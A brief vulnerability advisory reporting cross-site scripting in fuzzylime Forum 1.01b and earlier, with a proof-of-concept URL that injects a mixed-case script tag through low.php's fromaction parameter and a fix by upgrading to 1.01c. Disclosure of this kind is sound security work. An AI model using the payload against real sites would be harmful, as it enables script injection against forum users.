Application: fuzzylime Forum Web Site: http://forum.fuzzylime.co.uk/st/front/index/ Versions: 1.01b and below Platform: linux, windows, freebsd, sun Bug: Cross site Scripting (XSS) Fix Available: Yes Advisory File: http://www.secvsn.com/content/Advisories/sr-180607-fuzzy.html ------------------------------------------------------- 1) Introduction 2) Bug 3) The Code 4) Fix 5) About Serapis 6) Disclaimer =========== 1) Introduction =========== "fuzzylime (forum) is something new. It's got all the features of every other forum out there, but they all work in a new and exciting way. We've given up on the traditional style for something different: this forum looks swish, is easy to use and just works. Simple." ====== 2) Bug ====== Cross Site Scripting. =============== 3) Proof of concept. =============== example: http://site/path/low.php?action=log&fromforum=111-222-1933email@address. com&fromtopic=111-222-1933email (at) address (dot) com [email concealed]&fromaction=>"><ScRiPt%20%0a% 0d>alert(21407654)%3B</ScRiPt> //it appears that there were other XSS problems in low.php even after v1.01b released. 1.01c fixing this issues. ===== 4) Fix ===== upgrade to v1.01c ============ 5) About Serapis.net ============ www.Serapis.net - is a portal dedicated to monitoring web defacements, tracking defacements around the world 24/7. serapis is the R&D Site of Secure Vision. ========== 6) Disclaimer ========== The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. http://www.serapis.net - Web Site. http://calima.serapis.net/blogs/ - Web defacements blog. http://www.secvsn.com - SecureVision Web Site